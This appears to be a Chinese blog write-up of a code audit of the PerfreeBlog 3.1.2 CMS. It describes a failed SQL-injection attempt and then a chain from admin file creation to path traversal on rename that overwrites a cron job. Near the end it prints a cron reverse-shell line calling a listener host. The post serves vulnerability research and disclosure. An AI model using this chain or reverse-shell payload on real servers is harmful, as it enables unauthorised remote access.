某cms漏洞浅析
2023-11-24 09:53:24 Author: 黑白之道(查看原文) 阅读量:4 收藏

目录

  • 环境搭建

  • 失败SQL

  • 文件上传

  • 计划任务

  • docker

  • final

出于某些原因当时需要去审计一些漏洞用作特定所需的支撑,但是在逐渐审计开源cms的过程中又不需要了,索性就当锻炼审计能力做了记录。

环境搭建

本文审计的是PerfreeBlog最新的v3.1.2版本,一个开源的个人博客系统,直接从github的release中拉取相应的源代码,这里开始用的windows环境,后续为了方便进一步挖掘利用链改成了linux。windows下配置一下本地maven,然后配置一下mysql等就可以了

失败SQL

由于涉及数据库操作用的是开源的mybatis,索性一开始就把目标放在了sql注入上,但是sql注入并没有利用成功
熟悉mybatis的师傅应该都知道造成sql注入的成因,这里直接全局去搜索$,找到了如下:com/perfree/mapper/ArticleMapper.java


根据id调用的接口进行回溯(推荐idea的一个插件MyBatisX,便于对接口和sql语句的快速定位)


查看apiList被调用的情况


com/perfree/controller/api/ArticleController.java,一些获取参数的就不看了,跟进generateOrderBy

这里是对获取到的参数进行处理,根据前面所知,orderBy参数可控且是可能存在的注入点,对获取到的数据以','进行分割,并对数组进行了白名单匹配,若数组中的数据不在白名单中就直接返回为空

白名单的数据来源如下

所以这里最后的sql执行语句反而变的不可控了,只能是白名单中的数据才可以;其他可能存在的利用点最后经过审计也都不可利用

文件上传

在sql不可利用之后,将注意点转向了后台可能存在的文件上传的点
com/perfree/controller/admin/ThemeController.java

跟进createFileOrDir,将传递的参数进行了处理,对filePath是否为空白字符进行判断

调用FileUtil工具类的touch方法在绝对路径下创建了文件,未对后缀做任何限制,可创建任意后缀的文件,并且注意到未对..和/进行过滤,可以进行目录穿越创建文件


接下来找到写入文件内容的方法

通过调试跟进函数,传递的content参数并没有被过滤,也就是说写入文件的内容可控

这里本来想直接上传一个jsp文件的,但是发现并没有用中间件,纯是SprintBoot写的,在pom.xml中没有进行配置是无法解析jsp文件的,还需要想想其他的方法
结合前面的目录穿越,尝试了写入文件时能不能,但是注意到这里对文件路径进行了校验,通过获取themeDir的路径进行判断是否存在,不存在会直接返回文件不存在

在同一个类中看了看其他的函数,其中一个貌似可以利用

文件重命名函数

断点调试一下,基本和创建文件的流程差不多,并且没有对重命名传入的文件名进行过滤,也就是说是在重命名文件的时候可以进行目录穿越

通过上面的分析,捋一捋现在能利用的路径

后台权限->主题新建文件->写入恶意代码->文件重命名路径穿越

现在还差最后一步,找到最终的可利用点

计划任务

linux下可以尝试通过覆盖计划任务文件反弹shell

docker

在用官方docker的时候发现是拉取的debian镜像,索性改了一个centos的,Dockerfile如下

FROM centos:centos7.6.1810
COPY ./jdk-8u181-linux-x64.tar.gz /jdk-8u181-linux-x64.tar.gz
COPY ./perfree-web-3.1.2.tar.gz /perfree-web-3.1.2.tar.gz
RUN yum install crontabs -y
RUN tar -zxvf /jdk-8u181-linux-x64.tar.gz && mv jdk1.8.0_181 /usr/local/
RUN tar -zxvf /perfree-web-3.1.2.tar.gz && mv perfree-web /usr/local/
WORKDIR /usr/local/perfree-web
EXPOSE 8080
CMD [ "/usr/local/jdk1.8.0_181/bin/java","-jar","/usr/local/perfree-web/perfree-web.jar" ]

接上面的利用链重命名文件,进入docker查看,已经成功写入计划任务,但是在查看计划任务执行的日志文件时发现并不存在该日志文件


查找资料之后也并没有解决这个问题,并且容器中相关的cron配置文件缺失不少,有一个说是启动一个centos的特权容器计划任务能够执行,那就换个容器。

这里说一下后台的功能点,如下

一样的操作,修改文件名

文件内容依旧是计划任务反弹shell,这里写入的时候注意换行符,也是试了很多次之后发现没有换行符计划任务执行是有问题的

*/1 * * * * bash -i >& /dev/tcp/ip/1234 0>&1

在跑着cms的服务器上查看计划任务列表和日志,可以看到计划任务的执行情况,另一台监听的服务器成功接收到弹回的shell

到这里就能够成功通过组合拳拿到服务器的权限了

final

距离审计已经过了好几个月,第一时间已经将上述漏洞信息告知了项目作者,但暂未看到修复信息,后台的利用限制确实显得比较鸡肋。

文章来源:Hacking黑白红

黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

如侵权请私聊我们删文

END


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650582660&idx=3&sn=61c46ef68fc3934681edf21eaf97c9e8&chksm=83bdcb60b4ca4276883f066baa61b984ae5c3dca74419ce4f14684191385be28ccfedd9f31bc&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh